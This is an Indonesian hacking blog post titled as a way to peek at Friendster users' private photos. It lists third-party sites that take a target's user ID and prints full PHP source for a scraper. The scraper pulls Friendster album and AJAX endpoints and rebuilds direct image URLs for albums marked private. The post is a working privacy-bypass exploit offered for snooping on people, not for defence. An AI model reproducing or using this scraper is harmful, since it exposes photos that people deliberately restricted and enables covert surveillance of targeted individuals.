Web Hacking Private Photo Friendster

Seperti yang kita ketahui fenomena friendster begitu menghebohkan dunia gaul di internet akhir-akhir ini. Friendster adalah sebuah komunitas online di internet yang memungkinkan setiap anggotanya untuk berhubungan dengan anggota yang laen dalam ikatan pertemanan. Hampir dua juta orang telah tergabung dalam komunitas yang didirikan sejak bulan Maret 2003. Anggota yang tergabung dalam friendster bisa mencari teman-teman baru maupun teman-teman lama melalui jaringan pertemanan satu dengan yang lainnya.

Berbagai fasilitas selalu ditambahkan dalam web friendster, misalnya biodata, jumlah teman dan jaringan pertemanan, testimonial (atau kesaksian dari teman-teman), dan photo-photo pribadi atau lebih sering disebut dengan private photo, yang tentunya hanya orang² special saja yang bisa melihatnya.

Nach tentunya kita kadang penasaran khan ingin tahu isi dari private photo yang ada di friendster, berikut ini ada sedikit trik hacking untuk melihat private photo tersebut...

Permainan dimulai:
- Buka friendster (kalo tidak punya account friendster juga ngga apa²).
- Cari target kamu yang mempunyai photo private. Misal targetnya:

http://friendster.com/28926674

- Sehingga info yang didapat adalah: uid = 28926674, nach tinggal masukkin ajach UID dari user FS yg mau di lihat foto privatenya di salah satu web berikut.

http://fs.dibatam.com/fs/
http://fs.dibatam.com
http://transbitnet.web.id/fs/fs.php
http://www.diverprima.com/fs/ngeten.php
http://www.manismadu.com/kampret/
http://daneh2.pdg.pl/coba2/intip.php
http://www.ngebom.us.to/ngintip
http://www.pusatbokep.com/FS.php
http://www.pusatbokep.com/FS2.php
http://jewenet.info/jewe/fs.php

Source Codenya sebagai berikut :

<title>NGINTIP FOTO PRIVATE PROFILE FRIENDSTER</title><br /><link rel="icon" href="fs.ico" type="image/x-icon"> <br /><center><b>NGINTIP FOTO PRIVATE PROFILE FRIENDSTER</B></CENTER><BR><br /><b>NOT ALWAYS WORK</b><br><br />Masukkan UID dari user FS yg mau di lihat fotonya<br><br /><form method=post action="?"><br /><input name=url size=20 value="<?=$url;?>"><br /><input type=submit value=GO-GO-GO><br /></form><br /><pre><br /><?<br />set_time_limit(0);<br />$url=str_replace('http://profiles.friendster.com/','',$_POST[url]);<br />if((isset($url)) && ($url !== '')){<br />//$ab=explode('/',$url);<br />//if(eregi('e1',$url)){$userid=$ab[7];}<br />//if(!eregi('e1',$url)){$userid=$ab[6];}<br />$link='http://www.friendster.com/viewalbums.php?uid='.$url;<br />$data=implode('',file($link));<br />$a=explode("\n",$data);<br />//print_r($a);<br />for($i=0;$i<count($a);$i++)<br /> {<br /> if((eregi('viewphotos.php',$a[$i])) && (eregi('img src=',$a[$i])))<br /> {<br /> $gambr=explode('><img src=',$a[$i]);<br /> $gambr1=explode('><',$gambr[1]);<br /> $gambar=$gambr1[0];<br /> }<br /><br /><br /> if((eregi('abAlbumPrivacy',$a[$i])) && (eregi('Public',$a[$i])))<br /> {<br /> $jumlahfoto=explode('<li>',$a[$i]);<br /> $jumlahfoto1=explode(' ',$jumlahfoto[1]);<br /> $jumlhfoto=$jumlahfoto1[0];<br /> $album= explode('abAlbumPrivacy-',$a[$i]);<br /> $idalbum=explode('">',$album[1]);<br /> $albm= $idalbum[0];<br /> //echo $gambar;<br /> echo "<a href=?uid=".$url."&alm=".$albm."&j=".$jumlhfoto."><img width=100 height=70 src=".$gambar." title=Public-Album-".$albm."--".$jumlhfoto."-foto></a>";<br /> //echo $albm.'<br>';<br /> }<br /> if((eregi('abAlbumPrivacy',$a[$i])) && (eregi('Private',$a[$i])))<br /> {<br /> $jumlh=explode('<li>',$a[$i]);<br /> $jumlh1=explode(' ',$jumlh[1]);<br /> $jumlah = $jumlh1[0];<br /> $albumx= explode('abAlbumPrivacy-',$a[$i]);<br /> $idalbumx=explode('"',$albumx[1]);<br /> $albmx= $idalbumx[0];<br /> echo "<a href=?uid=".$url."&almx=".$albmx."&j=".$jumlah."><img width=100 height=70 src=http://images.friendster.com/images/albums/requestAccessIcon.png title=Private-Album-".$albmx."--".$jumlah."-foto></a>";<br /> }<br /> }<br />echo "<br>Klik pada gambar diatas untuk melihat isi album";<br />}<br />$uid=$_GET[uid];<br />$alm=$_GET[alm];<br />$almx=$_GET[almx];<br />$j=$_GET[j];<br />if((isset($uid)) && (isset($alm)))<br /> {<br />$jb=floor($j/20);<br />for($l=0;$l<=$jb;$l++)<br /> {<br /> flush();<br /> $ajax="http://www.friendster.com/photolist_ajax.php?uid=".$uid."&a=".$alm."&page=".$l;<br /> $ajaxpage=implode('',file($ajax));<br /> $belahajax=explode('}',$ajaxpage);<br /> for($i=0;$i<(count($belahajax)-2);$i++)<br /> {<br /> $raw=explode('raw_url":"',$belahajax[$i]);<br /> $raw2=explode('"',$raw[1]);<br /> $rawurl=str_replace('\\','',$raw2[0]);<br /> echo "<img src=".$rawurl.".jpg>\n";<br /> }<br /> flush();<br /> }<br /> }<br />if((isset($uid)) && (isset($almx)))<br /> {<br />$jb=floor($j/20);<br />for($l=0;$l<=$jb;$l++)<br />{<br />flush();<br /><br />$ajax='http://www.friendster.com/photolist_ajax.php?uid='.$uid.'&a='.$almx.'&page='.$l;<br />$ajaxpage=implode('',file($ajax));<br />$abc=explode('}',$ajaxpage);<br />for($k=0;$k<(count($abc)-2);$k++)<br /> {<br /> $angka=explode('image-server.php',$abc[$k]);<br /> $angka1=explode('/',$angka[1]);<br /> $angka11=str_replace('\\','',$angka1[1]);<br /> $angka12=str_replace('\\','',$angka1[2]);<br /> $uidgbr=str_replace('\\','',$angka1[3]);<br /> $jancok=explode('pid":"',$abc[$k]);<br /> $jancoklagi=explode('","album_id',$jancok[1]);<br /> //$akhir=str_replace('","rid":"','',$jancoklagi[0]);<br /> //echo '<img src=http://photos.friendster.com/photos/11/11/'.$userid.'/1_'.$akhir.'.jpg><br>';<br /> $pidex=explode('"',$jancoklagi[0]);<br /> $pid=$pidex[0];<br /> $rid=$pidex[4];<br /> if($pid=='1'){echo '<img src=http://photos.friendster.com/photos/'.$angka11.'/'.$angka12.'/'.$uidgbr.'/1_'.$rid.".jpg>\n";}<br /> if($pid=='0'){echo '<img src=http://photos.friendster.com/photos/'.$angka11.'/'.$angka12.'/'.$uidgbr.'/0_'.$rid.".jpg>\n";}<br /> if(($pid !=='1') && ($pid !=='0')){echo '<img src=http://photos.friendster.com/photos/'.$angka11.'/'.$angka12.'/'.$uidgbr.'/'.$pid.$rid.".jpg>\n";}<br /> }<br />flush();<br /> }<br /> }<br />?>

NB : Semua teknik hacking di atas mempunyai masa waktu berlaku, maksudnya teknik-teknik di atas tidak dapat di gunakan lagi jika dari friendster sendiri sudah menutup bug-bug yang ada

Credit Goes To : reel bhcrew

Related Posts by Categories